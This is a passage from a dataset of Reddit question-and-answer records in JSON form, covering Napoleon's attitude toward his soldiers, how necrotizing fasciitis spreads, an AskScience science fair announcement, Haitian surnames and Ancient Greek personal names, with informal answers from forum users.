but they make their own glucose out of the energy they captured from light and CO2.\n", "Holy cow at these explanations. Do you really expect a five year old to be able to understand those paragraphs?\n\nThe real answer is this: Imagine light as a moving object. We can call it a photon. Like a bouncy ball. It comes from the sun really fast. Like a fast bouncy ball. Now, in your eye, or in your plant, are other balls stuck together, going about their business. The fast bouncy ball from the sun (the photon) hits the bouncy balls in your eyes. Now, what happens? Well, the bouncy balls in your eyes just got hit, so they break apart and go flowing in other directions. Plants use those flying energetic bouncy balls to use their energy to do other stuff. For us, in our eyes, we have cells that tell our brain when those bouncy balls in our eyes break apart, and that is how we see"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=mxnI3tsOdOI", "http://en.wikipedia.org/wiki/Rhodopsin"], [], []]}
{"q_id": "6odjk6", "title": "How much respect did Napolean have for his troops?", "selftext": "Did he think they were basically poor idiots or was he appreciative of what they did?\n\nI was recently reading his quote  \"A soldier will fight long and hard for a bit of colored ribbon\" which seems to imply the former. \n\nAssuming he actually said it of course.\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6odjk6/how_much_respect_did_napolean_have_for_his_troops/", "answers": {"a_id": ["dkhocpq"], "score": [4], "text": [" > \"A soldier will fight long and hard for a bit of colored ribbon\" which seems to imply the former. \n\nThe full quote from Napoleon from Antoine Claire Thibaudeau's *M\u00e9moires sur le Consulat* is:\n\n > You call these baubles, well, it is with baubles that men are led\u2026 Do you think that you would be able to make men fight by reasoning? Never. That is only good for the scholar in his study. The soldier needs glory, distinctions, and rewards. \n\nAssuming Thibaudeau's memoirs are correct, the full quote adds a good deal of context to Napoleon's quote. More often than not, a number of popular accounts of Napoleon use \"with baubles that men are led,\" quote alone to imply that Napoleon was cynical about the men under his command. Much like Wellington calling his men \"scum of the earth,\" the full context of Napoleon's sentiments lend themselves to a different interpretation of his sentiments that is less derisive. The \"baubles\" aspect of the Napoleon's quote according to Thibaudeau stemmed from Napoleon's inner circle during the Consulate objecting to the creation of the Legion of Honor because it summoned up images of the Bourbon *ancien regime* and its decorations. As with other aspects of Napoleon's relationship with his men, he recognized the powerful appeal of military culture and he positioned himself as both the exemplar and arbiter of proper military virtues. \n\nOne of the important impacts the Revolution had upon the French military was that it opened up new definitions of why soldiers fought and served. Whether for *patrie* or nationalism, for the regimental history, or for a soldier's own personal edification, the Revolutionary Wars provided a number of new motivations and incentives for soldiers to fight. Additionally, the mass levies and purges of the old guard noble officers also opened up the prospect of advancing through the ranks. Rhetoric about every French soldier having a marshal's baton in his knapsack never quite lived up to reality; most of the Republic and Consulate's generals tended to come from the minor nobility with a smattering of men from the middling and lower classes. Nonetheless, this was a powerful image  within the army and the idea that a lowly soldier could rise far above the station to which he was born was one Napoleon tried to cultivate. \n\nNapoleon often fused these Revolutionary traditions with older ones like the *ancien regime*'s use of decorations and titles to create a new hybrid of both epochs' military cultures. The new Napoleonic nobility was biased heavily towards the military and titles were rewards for bravery or service. But unlike the *ancien regime*, titles were usually not hereditary unless a particular family had consistently demonstrated their worthiness through their actions. Imperial regalia and standards also became the new focus of regimental honor and signs of their service to the Consulate and Empire. While this regimental culture was not unprecedented in European military history, there was in the Napoleonic period a newfound appreciation for the specific actions of the regiment. Napoleonic battle ensigns frequently had their battle honors stitched into them as well as Napoleonic regalia and symbols of victory like oak garlands. Men within these regiments could find themselves rewarded for actions in battle regardless of rank including being promoted to officer or NCO status. \n\nOf course, Napoleon tried to make himself indispensable to this military system of honor and reward. He reserved a degree of approval for battle honors and decorations  and naturally Napoleon often tried to look the part of the concerned commander in chief who ate the same food as his men and understood their lot. Although Napoleon's portraiture sometimes expressed a neo-Charlemagne grandeur, such as this [famous painting](_URL_1_), there was a strong tendency in Napoleonic portraiture to depict the Emperor wearing the simple uniform of a line officer, such as David's famous painting [*The Emperor Napoleon in His Study at the Tuileries*](_URL_0_) where he wears a simple uniform of the Guards. Napoleonic era uniforms may look elaborate in 2017, but the lack of ostentatious display was notable in Napoleon's manner of dress. Napoleon's personal revues of his troops also tried to thread the needle between portraying the Emperor as a remote figure above reproach and as a who was not that much different from the rest of his men. \n\nAll of this does though lead to the fundamental question of whether or not Napoleon really did care for his men. This is naturally trickier for a historian to answer than analyzing the political symbolism of Napoleonic portraiture. On one hand, Napoleon did twice abandon his armies when they were in dire straits. Both in 1799 and in 1812, Napoleon did leave the Army of the Orient in Egypt and the Grande Armee in Poland for metropolitan France. \"Abandonment\" though is perhaps too strong a word though in both cases; Napoleon did delegate authority to men he believed were competent subordinates-Jean-Baptiste Kl\u00e9ber and  Joachim Murat respectively- and there were real political justifications for Napoleon leaving the scene. However, neither case endeared Napoleon to those officers left holding the bag of a losing situation. He would also be quite zealous in guarding honors for victory especially if they  showed Napoleon's command in a negative light. Napoleonic propaganda often linked the battles of Jena and Auerstadt together even though Napoleon's victory at Jena was incredibly minor compared to Davout's and the two battles occurred mostly because of Napoleon's own confusing orders to his corps commanders. Napoleon also notably hogged all of the credit for the victory at Austerlitz; as David Chandler noted, Austerlitz was the Emperor's battle, not any of his lieutenants. \n\nNapoleon did institute some of the first real reforms of battlefield medicine. The French reforms tended to build upon preexisting experiments in battlefield medicine of the Revolutionary period. Under the auspices of Dominique Jean Larrey, the French Army of the Rhine had begun experiments with *ambulances volantes* (flying ambulances) with special vehicles for battlefield organization and a more regimented system of medical personnel. Larrey's personal connection to Napoleon allowed Larrey to implement some elements of his reforms into the Grande Armee. Although Napoleon showered much praise upon Larrey and his fellow reformer Pierre-Fran\u00e7ois Percy, the French emperor tended to underfund the medical services and *ambulances volantes* were much more the exception rather than the rule for battlefield medicine. Nor was Napoleon amenable to the creation of a permanent surgical corps or allow surgeons to hold rank within the army. Although Wellington allowed for the use of prefabricated hospitals to accompany the army's baggage train in its advance in 1813/14, the British commander balked at specialized ambulances like the French. Medical personnel in both the British and French armies were often short of material and personnel, and despite the reforms of the likes of Larrey and the British McGregor, medical care was still very much *ad hoc* and a low priority for all Napoleonic era generals, and Napoleon here was no exception. Likewise, Napoleon's initiatives for the care of veterans an other disabled soldiers likewise was often in arrears and incapable of withstanding the constant uptick of applicants. \n\nWhile Napoleon's personal affection for his men is unclear, all of his gestures and treatment of the army did have an impact on the ranks' loyalty to Napoleon. News of Napoleon's injury in 1809 did create a wave of panic among the local troops and Napoleon did make a show of appearing intact and in good health. Diaries, letters, and memoirs from 1812 tend to recall soldiers complaining about Napoleon's incompetence and then alternating to concern when there were rumors the Emperor was captured. Much of the Napoleon cult within the army itself found fruit among the educated officer classes, the people who were intellectually and socially most primed to take advantages of the Napoleonic system of reward and promotion. There always was a strata of Napoleonic loyalists in the lower ranks, especially among the Guard formations, but it there was also an increasingly stronger form of compulsion to service in the form of harsher penalties for desertion and cowardice as the Napoleonic Wars dragged on. \n\nNapoleonic veterans did form the cornerstone of the Napoleonic cult in the post-1815 period, especially as successive French governments found the memory of military *gloire* useful for the purposes of state. As for Napoleon himself, he too mobilized news his men's accomplishments to his own personal ends. Napoleon's baubles comment shows that he did have an appreciation for how soldiers thought and how French military culture operated. And Napoleon certainly did privilege the army within the French state system and the bulk of his rewards for state service were parceled out to military men. While it is unclear where his affections lay for his men, a number of soldiers did believe that Napoleon did care for them which made issues like his leaving the army in the lurch in 1812 a bitter pill for some *grognards* to swallow. \n\n*Sources*\n\nChandler, David G. *On the Napoleonic Wars: Collected Essays*. London: Greenhill Books, 1999. \n\nForrest, Alan I. *Napoleon's Men: The Soldiers of the Revolution and Empire*. London: Hambledon Continuum, 2006. \n\nHughes, Michael. *Forging Napoleon's Grande Arm\u00e9e: Motivation, Military Culture, and Masculinity in the French Army, 1800-1808*. New York: New York University Press, 2012.\n\nMuir, Rory. *Tactics and the Experience of Battle in the Age of Napoleon*. New Haven, Conn: Yale University Press, 1998. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nga.gov/content/ngaweb/Collection/art-object-page.46114.html", "https://hf-mirror.net/_cdn/ka-perseus-images.s3.amazonaws.com/9f6fcaec368b77d2c2f9e46caf890473501061d7.jpg"]]}
{"q_id": "39dep9", "title": "how does necrotizing fasciitis attack the body so fast?", "selftext": "My neighbor has Necrotizing Fasciitis. The only thing i understand about it is that its a flesh eating bacteria. She is being treated but how is it possible that a bacteria is able to attack and spread so fast?\n\nIn just a few short days her left lat muscle was remove because it was dead. Some other tissue on the left side of her body was also removed but I don't know what specifically.\n\n(Wife just saw what i was posting and \"If you don't add the go fund me link then you are on the couch tonight, not to mention the longest dry spell of your life\" so forgive me for adding this - _URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39dep9/eli5_how_does_necrotizing_fasciitis_attack_the/", "answers": {"a_id": ["cs2r3x4"], "score": [7], "text": ["Flesh-eating is a bit of a misnomer, it's not so much flesh-eating as it is *flesh-destroying*.\n\nI'm going to give a very, very dampened down version of it, and try put it simply, perhaps in the context of an invasion, which is basically what a bacterial infection is.\n\nAlways start by considering the pathogen's objective: And the simplest way to think about it is this, bacteria (actually, all lifeforms) want to create **conditions suitable to their growth**.\n\nWhat are these conditions?\n\n* No or low-levels of oxygen\n* Preferrably unopposed by immune system (killing off the oxygen allows this)\n* Obtain nutrients (no oxygen = dead cells = easy nutrients)\n\nMany of these pathogens are Anaerobic, which means they don't need oxygen, some don't use it (Strep. pyogenes and Staph. aureus), and some are outright killed by it (Clostridium perfringens). Achieving Goal No. 1 will allow the second and third to be accomplished easily, cutting off the oxygen means cutting off the blood supply, which in turn means cutting off the tide of immune cells that *would* have put a stop to other infections. \n\nThe pathogen's overall objective of **\"get rid of the oxygen\" is, obviously, absolutely incompatible with human life.\n\nWe're going to focus on those three bacteria named up there, because when necrotizing fasciitis presents, one of those guys is almost certainly involved in some way, either as the lone culprit (usually Strep pyogenes) or as one of a few species invading (usually led by Clostridium). Perfringens in particular can also present itself as gas gangrene, which is why we use high-pressure (hyperbaric) oxygen to force it out of tissues and kill it.\n\nNow, why is it fast? It's fast because of three big factors: Exponential growth, an abundance of resources, and the bacteria's ability to rapidly acquire new resources through destroying the local tissue. The growth and proliferation of any organism is fundamentally limited by two things: Food and space, as long as those two are present in ample amounts and there's nothing else opposing the microbe, the proliferation is *exponential*.\n\nThe bacteria that cause necrotizing fasciitis possess the tools needed to accomplish the whole \"kill everything around them and find more space to grow:, in this case, this involves destroying all the healthy tissue just happening to be sitting in the way, which they happen to be very, very good at doing.\n\nThis is accomplished through a collection of virulence factors possessed by the different pathogens, virulence factors are basically stuff that helps a pathogen proliferate, and can be very broadly (and loosely) said to give a bacteria both a defensive and offensive capability (no we do not actually use those terms). \n\n\"Defensive\" stuff help the pathogen survive what the body throws at it, for example, Strep pyogenes produces this protein known as Protein M which helps protect the bacterium against phagocytosis (i.e. being eaten by a white blood cell).\n\n\"Offensive\" virulence factors allow the pathogen to attack the body to obtain more nutrients (Perfrigens Alphatoxin causes platelet aggregation and hemolysis, which basically means that the blood supply is screwed)  and even attack the immune system itself (pyogenes produces Streptolysin S which basically kills all blood cells, red, white, platelets, whatever).\n\nThere are a lot more virulence factors that contribute to this, most of these guys will carry Hyaluronidase (whenever you see an -ase, it means it's an enzyme), Hyaluronic acid holds most connective tissue together, this is what lets these bacteria tear through tissue so rapidly compared to other infections. Perfringens in particular produces TWELVE types of toxins (4 major, 8 minor), more than enough to overwhelm the immune system.\n\n**TL;DR as to why necrotizing fasciitis is so fast and deadly: Abundant resources facilitating exponential growth, combined with the ability to cripple the immune response**\n\nAll the best with your neighbour"]}, "title_urls": [], "selftext_urls": ["http://www.gofundme.com/w4v22v5n"], "answers_urls": [[]]}
{"q_id": "lps1a", "title": "There's still time to start a project for the first Reddit Science Fair, hosted by AskScience!", "selftext": "To all those forty thousand redditors who have joined AskScience since this was posted...\n\n**Welcome to the first Reddit AskScience Fair!**\n\nYou remember science fairs... a bunch of kids do science experiments, and present the results.  It's the same thing here, except on Reddit, hosted by [/r/AskScience](_URL_1_)!  The Reddit admins have agreed to donate some awesome prizes, and AskScience will give you some sweet flair on our subreddit.\n\n**Here's the deal (the short version):**\n\nCreate and run an experiment by November 28th at 11:59 PM!  This fair is all about *experiments*, not *demonstrations*.  Make sure you're answering a question, and make sure you remember to hypothesize.  Plan your experiment and complete it, making sure to spend no more than $40 US.  After your experiment is done, write it up!  Tell us what you did, what you learned, and what your conclusion is.  Make sure you sum up the whole project in a one-paragraph abstract, too!  Then post it to /r/asksciencefair, again by November 28th at 11:59 PM.  Make sure you do it before the deadline.  After some judging-time, we'll make a post with some awesome prizes!  Keep an eye out, because the AskScience panelists will be doing weekly workshops on Doing Science The Scientific Way (things like coming up with questions, making graphs, looking at data).  These workshops will be at /r/AskScienceFair.\n\n*Be sure to join **[r/asksciencefair](_URL_1_fair)** and **[r/asksciencefairhelp](_URL_0_)** to keep up-to-date with the latest AskScience Fair developments!*\n\n**Here are some things you should include:**\n\nCreativity!\n\nDIY materials!\n\nTestable ideas!\n\nGraphs!  Pictures!  Analysis!\n\nFriends or family! (Teams are ok, and so's doing it by yourself!)\n\n**Here's the longer deal (make sure you read this too):**\n\n* There's no age limit.\n\n* There's no subject limit *per se*, but here are some things that aren't ok: Experiments with humans without their written consent aren't ok.  **Cruelty to animals or humans is absolutely not ok. If you want to do an animal experiment of any kind, modmail the /r/asksciencefair mods.**  Experiments that threaten community safety are not ok.  No experiments with DEA-controlled substances or potentially hazardous biological agents.\n\n* Unless you need to ask us about whether an experiment is ok, there's no need to tell us what your experiment's going to be.\n\n* If you need help, feel free to post on /r/asksciencefairhelp.  There are quite a few AskScience panelists who've volunteered to help out with questions.\n\n* AskScience panelists are not eligible to compete.\n\n* Judges are AskScience panelists who have agreed to help out on a volunteer basis.  *Their decisions are final*.\n\n* While things you have lying around don't count as part of your $40 budget, keep in mind that following the spirit of the budget rule (intended to keep everyone on a level playing field) is a factor in scoring. Be creative!\n\n* Judges might want some proof that you've stayed inside the cost limit.  Keep your receipts.\n\n* Projects need to be posted as threads on /r/asksciencefair before **November 28th, at 11:59 PM Eastern time** to be considered.  No late submissions.\n\n* Your project must be developed for THIS contest, not something you've been working on for 4 months already.\n\n* Give us anything you want in terms of format (link to a picture, link to a PDF, link to a Google document, link to the past), but it must include an \"abstract\" at the beginning telling us briefly what you did and found. An abstract is a short paragraph or two summarizing the main points or important ideas presented in your project. \n\n* Try to avoid long youtube videos.  In fact, try and avoid presenting your project in youtube format at all, unless you feel it really adds something.\n\n**Awards and Judging**:\n\nWhen the deadline's passed, the projects will be randomly assigned to three judges each.  That way it's not the same panel dealing with each project, and there won't be as much effect from individual scoring styles.  Judges will be volunteer AskScience panelists.  Each project will be scored by the scoring rubric, and the top three projects by score will receive prizes.\n\nEach judge will score projects to a maximum of 100 points, awarded as follows:\n\n* Creativity - 30 points\n* Scientific Thought - 30 points\n* Rigor - 15 points\n* Presentation - 25 points\n\nJudges may post or PM questions to the entrants if they'd like further clarification.\n\nIn addition to the top three projects by score, there'll be a few **special awards**.  These are:\n\n* Judges' Choice: Presented to a particularly creative or all-around well-executed project that might not have made it to the top three.\n\n* Best Research Question: Presented to the project with a really well-formed and creative research question.  **Thanks to kind redditor *shaver*, this prize now includes a $100 Amazon giftcard, along with a $100 donation to the science charity of your choice**\n\n* Best DIY Spirit: Presented to the project that best sticks to the spirit of the $40 limit - the \"Doing The Most With The Least\" award.\n\n* Most Inventive Methods: Presented for ingenious investigative methods.\n\n* Most Rigorous: Presented for best following the ideals of scientific rigor.\n\n* Best Analysis: Presented for particularly fine analysis of data.\n\n* Best Presentation: Awarded for excellent, clear, and impressive presentation of the experiment and results.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lps1a/theres_still_time_to_start_a_project_for_the/", "answers": {"a_id": ["c2umo3x", "c2uqvyh", "c2ut7nx", "c2umo3x", "c2uqvyh", "c2ut7nx"], "score": [2, 2, 3, 2, 2, 3], "text": ["I asked in the original thread but I didn't get a response - how can I volunteer to be a judge? Look forward to see the projects!", " >  To all those forty thousand redditors who have joined AskScience since this was posted\n\nWhat?? Seriously?", "Tis the season for pumpkin launchers!  There has to be an experiment in that somewhere!", "I asked in the original thread but I didn't get a response - how can I volunteer to be a judge? Look forward to see the projects!", " >  To all those forty thousand redditors who have joined AskScience since this was posted\n\nWhat?? Seriously?", "Tis the season for pumpkin launchers!  There has to be an experiment in that somewhere!"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/asksciencefairhelp", "http://www.reddit.com/r/askscience", "http://www.reddit.com/r/asksciencefair"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2mk7mz", "title": "last names", "selftext": "Reddit! Can you explain to me how I, a Haitian. Ended up with the last name Charlmagne. As far as I can trace back, the ancestors I can trace were also all black, so how did Charlemagne end up in the mix. And does it mean there's some relation to Charlemagne the King? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mk7mz/eli5_last_names/", "answers": {"a_id": ["cm50cyg", "cm51nr0", "cm51pb9", "cm536y0"], "score": [27, 6, 7, 13], "text": ["Charlemagne is a relatively common last name in France. Haiti was previously a French colony. As such, there will be a connection to a French person with the last name of Charlemagne somewhere in your family's history. They might be an ancestor, or the name might have come from a French slave-owner during the colonial period. ", " >  And does it mean there's some relation to Charlemagne the King?\n\npossible, but unlikely. many peasants took on the name of their lord incidentally. \n\nif you were a low born trader, you might introduce yourself as \"abuto, of charlemagne\", because he's your patron. because language is what it is, this mutated into lots of people having famous last names. ", "Well, here is also a guess. After slavery ended in America alot of slaves changed their last names to the names of past US presidents and generals etc to disassociate themselves with the families that owned them... That's why you see so many black folks with the last name Washington, Jackson, Johnson etc. Maybe your family did the same thing?", "An English teacher of mine once said that some last names come from what people were known for doing. Her last name was Boatwright, the ancestor that came from built boats. Smith would be a name for someone who worked with metal etc. This line of reasoning makes me really concerned about the last name \"Dickinson\"\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "73epkn", "title": "Were the 'legendary' names of ancient Greece common among the population of the time? Ie: were there people named Hercules, Icarus, Midas, Narcissus, Odysseus, etc getting around?", "selftext": "Were these names common at the time? Were Greeks named after legendary characters? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/73epkn/were_the_legendary_names_of_ancient_greece_common/", "answers": {"a_id": ["dnpuged", "dnpvgyd", "dnpyq4q", "dnpyyh1", "dnq71p8"], "score": [147, 4, 151, 3139, 50], "text": ["Hello everyone, \n\nIf you're a regular, you know how this subreddit works. If you are a first time or infrequent visitor, please take a moment to familiarize yourself with the [rules here.](/r/AskHistorians/wiki/rules) We have high expectations for responses here, and we will remove comments which don't comply with them. If you have questions or comments about this policy, please do not add to the removed comments already existing in this thread. We are happy to answer polite inquiries to modmail, but consider all users forewarned about what we expect in a comment. If you post META commentary in this thread, it will be removed, and you may be further warned. /r/AskHistorians isn't for everyone, but that is just how we roll.\n\nWe know that you want an answer, and so do we! But [it takes time for a good answer to be written](/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/). In the meantime, check out one of these venues where earlier content is highlighted including [Twitter](_URL_1_), the [Sunday Digest](_URL_0_), the [Monthly \"Best Of\"](_URL_2_) feature, [Facebook](_URL_4_).\n\n[As a special treat, just because I'm amused at specifically how terrible every single comment so far has been, here is a screenshot of all the top level comments at the time of writing this.](_URL_3_) If that is what you *want* to see, this isn't the subreddit for you.", "Follow-up question: what were the generalized naming conventions in the region at that time period?", "I have a (hopefully) up-to-snuff answer for this one.\n\nA quick bit of background first: Ancient Greek names were commonly made up of two parts: a given name, and a patronym. In some cases a third part was added, denoting ethnicity or locality of birth. Given names were frequently dithematic (made up of two parts), for example \"Socrates\", from \"sos\" (\u03c3\u03c9\u03c2), \"unwounded or safe\", and \"kratos\" (\u03ba\u03c1\u03b1\u03c4\u03bf\u03c2), \"power\". This is very common among Ancient Greek names. \"Philippos\", \"lover of horses\", etc. Patronyms were derived from the individual's father.\n\nNames derived from gods and goddesses (\"Theophoric\", or \"god-carrying\" names)were fairly common. For example, derivations of \"Dionysos\" were common among both men and women. So too were names like \"Apollodotos\", \"given by Apollo\" (think, \"god's gift\" sort of thing). Gods associated with the underworld and death were not used, or at least not frequently (no \"Hades\", \"Persephone\", etc.), likely because they were thought to be cursed or unlucky. \n\nSimple nouns were another popular source of names. These can run the range from basically descriptive to outright insulting-sounding. The word \"aischros\", \"ugly\", is the source of at least twenty known names, and is the basis for the name of the tragedian \"Aischylos\", better known in the Latin form as \"Aeschylus\". Parts of the body, traits, colors, etc. were all used in these simple names (\"Kephalos\", from the word for \"head\", \"Euthyphro\" of Platonic dialogue fame, from \"\u03b5\u1f50\u03b8\u1fe0\u0301\u03c2\", meaning \"direct\"). Animal-based names were also common (\"Moschos\", derived from the word for \"heifer\"). A personal favorite is Kopreus (\"shitty\"). The supposition is that a lot of these names are derived from affectionate nicknames for kids that continued on into adulthood and thus entered the historical record. \n\nThe names you are asking about, though, are heroic names (those associated with great heroes). \"Hercules\" (the Latin form of the Greek \"Heracles\", from the name of the goddess Hera, who despised him because he was the product of a union between her husband Zeus and a mortal woman), Icarus, Odysseus, etc. were not popular in Classical Greece. The etymology of some of these names is disputed or unknown, and some of them (Odysseus, for example, the derivation of which is disputed, but associated in scholarship with words meaning \"to wail\", \"to be wrought against\", etc.) have a decidedly dark turn. Not to say they were never used, but they weren't common in the Classical or Hellenic periods. Why is unclear. Perhaps it was considered too great a burden to name a child after someone who was so revered. However, after the Roman conquest of Greece a taste for Heroic naming arose and continued until Christianity became mainstream. At that point biblical names began to be more popular. \n\nSee:\n\nParker, 2000 (in the volume listed below): _URL_1_\n\nHornblower and Matthews (eds.), 2000 (for a broader discussion of the topic): _URL_0_\n\nThe absolute definitive work on this subject is the voluminous [\"Lexicon of Greek Personal Names\"](_URL_2_), started by the Oxford classisist P.M. Fraser and still undergoing revision. ", "The short answer to your question is that, yes, there would have been real people with the names of heroes and gods, but no, they were not common.\n\nThe long answer is that Ancient Greek naming conventions are a complex and fascinating topic. On the one hand, there are no surviving sources that explain to us how or why the Greeks came up with names for their children. Ancient authors do not seem to have found this topic interesting enough to write about. On the other hand, Greek names form a tremendously large body of evidence - the [Lexicon of Greek Personal Names](_URL_0_) claims to have published as many as 215,000 so far - and the fact that most names are composed of words with a direct meaning in Greek means that they present a unique window into the social world of Ancient Greece. Because of their components and their meaning, names can often tell us about people's place of origin, family ties, social status, cult practices, looks, and so on. \n\nWith the exception of some restrictions on the naming of slaves, there do not seem to have been any particular rules about what people could and could not be named. We might expect, for instance, that it was frowned upon to give your child the literal name of a god or goddess, but there's no evidence that the Greeks actually found it taboo. Admittedly the names of divinities, while becoming more popular after the 1st century AD, are rare enough in the Classical period (5th-4th centuries BC) that individual known cases have been extensively discussed by scholars. However, they are not altogether absent. There certainly *were* people named Artemis and Leto. This shows that there were no hard limitations to what a child could be named, but only conventions by which most names were chosen. The only names that genuinely don't seem to have been used at all were those of underworld gods (Persephone, Hades).\n\nSo what were the conventions they stuck to? One of the most powerful factors, especially among elite families, was the names of ancestors; some sons were named directly after their fathers (such as Perikles, son of the famous Perikles), while others were named after their grandfathers (like Kleisthenes, father of democracy, grandson of Kleisthenes the tyrant of Sikyon). Modern scholars are on pretty firm ground when they assume that people with similar names are related; often a name would \"run\" in just one family, sometimes for centuries. A related strong influence was the desire to express social status (again especially among the rich), which meant that many wealthy people would have names that contained words like *aristo-* (the best), *-archos* (leader), and especially mutations of the word *hippos* (horse). The latter is often regarded as a firm indicator of high status, since only the richest men in Greece would be able to afford to own horses, and horse-riding was the favourite pursuit of the leisure class. Famous examples include Perikles' father Xanthippos (\"yellow horse\"), the physician Hippokrates (\"horse power\"), and Philippos II of Macedon (\"horse lover\").\n\nIf there were no particular traditions binding new parents, they would be able to choose a name they liked. Endless possibilities are known. Particularly striking to us, though not necessarily the most common, are male and female names that contain a direct reference to warfare - Kallimachos (\"beautiful battle\"), Archestrate (\"army-leader\"), Nikomachos (\"victory in battle\"), Andromache (\"battle of men\"), Deinomache (\"terrible in battle\"). Other names are more straightforward, like Leon (\"lion\"), Kephalon (\"head\") or Melissa (\"honey\"). People were named after cities, mountains, and, very commonly, rivers; Aristotle complains about rare and ridiculous names like Hermokaikoxanthos, a pile-up of the names of 3 rivers. Generally, words like *kalos* (beauty), *stratos* (army), *agora* (marketplace), *demos/damos* (people), *-anax* (king) and old values like *bia* (strength) and *kratos* (power) occur often in what we might call \"posh\" Greek names. The combinations don't always make sense; what sort of a name is Isagoras (\"equal marketplace\") or Iphikrates (\"strong strength\")?   \n\nInterestingly, while the actual outright names of gods are extremely rare, by far the most common type of name in Ancient Greece was actually the *indirect* reference to a god or goddess. There were 2 ways to do this. First, the name of a god could be easily adapted into an adjective form, so as to become a name *derived* from a god rather than the god's name itself. Some of the most common were adaptations of Apollo (for example into Appolonios), Dionysos (Dionysios), Artemis (Artemisia) or Demeter (Demetrios); the latter is still in common use now, in its vowel-shifted form of Dimitri. One of the most famous examples of such a godlike name is Alexander the Great's companion Hephaistion (from Hephaistos). The second way to adapt divine names was to add words to them - most commonly *kleos* (glory),*-doros* or *-dotos* (gift, given). So we have authors like Diodoros (\"god-given\" - the reference is to Zeus), Apollodoros, Asklepiodotos; in the Roman era, when Eastern gods made their way into Greek lands, new names like Isidoros (gift of Isis) crop up. While it has proved impossible to say with categorical certainty that names are an indication of which gods were being worshipped in a given place, regional patterns are very clear in the evidence, and names derived from gods are at least a clear indication of which divinities were considered important. Perhaps the most touching are the few cases when parents who consulted the oracle on matters related to childbirth would name their child after the god who had advised them or after the place of the oracle.\n\nGiven all these factors and trends, it's perhaps easy to understand why the literal names of heroes were not commonly used as names, even if there were no strict rules or moral taboos against them. There wouldn't have been any family tradition to do so; there was no social credit in making pretentious references; since mythological figures were not always the recipients of cults, they wouldn't often have been credited for advice or protection in childbirth. It's possible that their names would have been regarded as old-fashioned or an ill omen, given the fates of most of them. According to the searchable part of the Lexicon, Ikaros is attested just 20 times; Narkissos a more respectable 74 times. I can't find a single person named Odysseus. Only the hero Iason has a famous \"real-life\" counterpart in the 4th-century Thessalian tyrant Iason of Pherai.\n\nSource for most of this: R. Parker, 'Theophoric names and the history of Greek religion', in S. Hornblower/E. Matthews (eds.) *Greek Personal Names: Their Value as Evidence* (2000), 53-79", "There are a lot of layers in your question and spanning multiple eras, I will try to answer the best, but I'm not a historian, I will answer more from the linguistics involved, and the mods may remove the post if it doesn't fit the community guidelines.\n\nThere are thousands of personal Greek names recorded, but most of them come from the period after the 5th century BC, because this is the start of Greek Classical era we are most familiar with and Ancient Greeks had writing to document them down. Note that I said 'most of them'. Some of them are discovered more relatively recently, and they are older than the Greek Classical era, from Mycenaean times, which added to the inventory. But we have a lot of blanks in Greek history when there is no writing involved:\n\n* **Pre-Mycenaean Greeks (before c.1650 BC)**: Greeks had no writing, so we have no records on their names.\n* **Mycenaean Civilization (c.1650-1200 BC)**: Greeks seemingly conquered the Minoan civilization, and adopted many elements of their culture, from the palatial living, thalassocratic society, to even the writing style. Greek at this time began being written in Linear B, a syllabary, meaning like the system Japanese today it's written, with syllables. This was adopted from the Minoan writing system, Linear A, they use almost the same symbols (plus some differences), it's just that they are called Linear A and B respectively, because A comes first and B comes later. Syllabaries are an awful system to write Greek with, it just doesn't suit a language that has so many consonant clusters. Also, the two languages are different, Greek is Indo-European, Minoan doesn't seem to be related to any language we know of. However, this language might have left a large mark on Greek, a significant amount of Greek words cannot be traced back to Indo-European, these are called Pre-Greek and seem to include even some personal names. This is also the time Greeks come in contact with other civilizations, in particular Hittite, and some Greek personal names are recorded by them too. And they seem to have recorded non-Greek personal names too.\n* **Late Bronze Age Collapse (c.1200-1150 BC)**: The end of Mycenaean era, but also the time when Homeric stories were set, so partially relevant to your question. Linear B stopped being used.\n* **Greek Dark Ages (c.1100-800 BC)**: Greeks have no writing. Stories that would later be a staple of Greek literature are transmitted via bards.\n* **Archaic Greek Period and Classical Era (c.800-323 BC)**: I included these two distinct Greek periods in one because for your question they do not make much difference. This is the time when the Greek alphabet is developed, adapted from the Phoenician one, which is a much better match for the language than Linear B is, and they start writing down folktales and bard stories, often even making some changes to put several different stories in one single narrative, to try to make sense of them. For example, Athena had several stories who her father was, some said Zeus, other said Triton. Greeks of these period compromised and made Zeus her birth father, and Triton her foster father. This is not irrelevant to the question, by trying to make sense of myths or titles, Greeks created some personal names that never actually existed. For example Pleiades supposedly named for their mother Pleione, except we now understand Pleiades comes from \u03c0\u03bb\u03b5\u1fd6\u03bd meaning 'to sail' reflecting their importance in determining the sailing season in Mediterranean sea, Pleione, their mother, was created later to explain their name. The -des ending can either mean plural, or is used as \"son(s) of\", \"daughter(s) of\", Classical Greek scholars mistakenly assumed the latter meaning. \n\nDespite the obvious difficulty Ancient Greeks created for us to make sense of, it's from the last period mentioned we know the most about Ancient Greek personal names, because of how much writing we had. The decipherment of Linear B added more to the inventory, but we still already had an idea on Greek names before that. Ancient Greek names usually are:\n\n* **Compound names**: Inherited from Indo-European naming practices, for example *Philippos*, from \u03c6\u03b9\u03bb\u03ad\u03c9 (phil\u00e9\u014d) \"I love\" and \u1f35\u03c0\u03c0\u03bf\u03c2 (h\u00edppos) \"horse\". The name \"lover of horses\" might seem weird now, it was not unusual for a society that placed so much importance to them and was so reliant on them. Germanic society, for example, had *Rosamund* meaning 'defender of horses', from hros, meaning \"horse\", and mund, meaning \"protection\". Indo-Aryan *Asvaghosa*: \"tamer of horses\"; in Iranian *Vishtaspa*: \"possessing horses untied (for racing)\" etc. I'm certain I just implied imply only horse-themed names could make up compound names, which is not what I intended, I meant to say these names reflected what were important to the society, there were also names like *Alexandros* 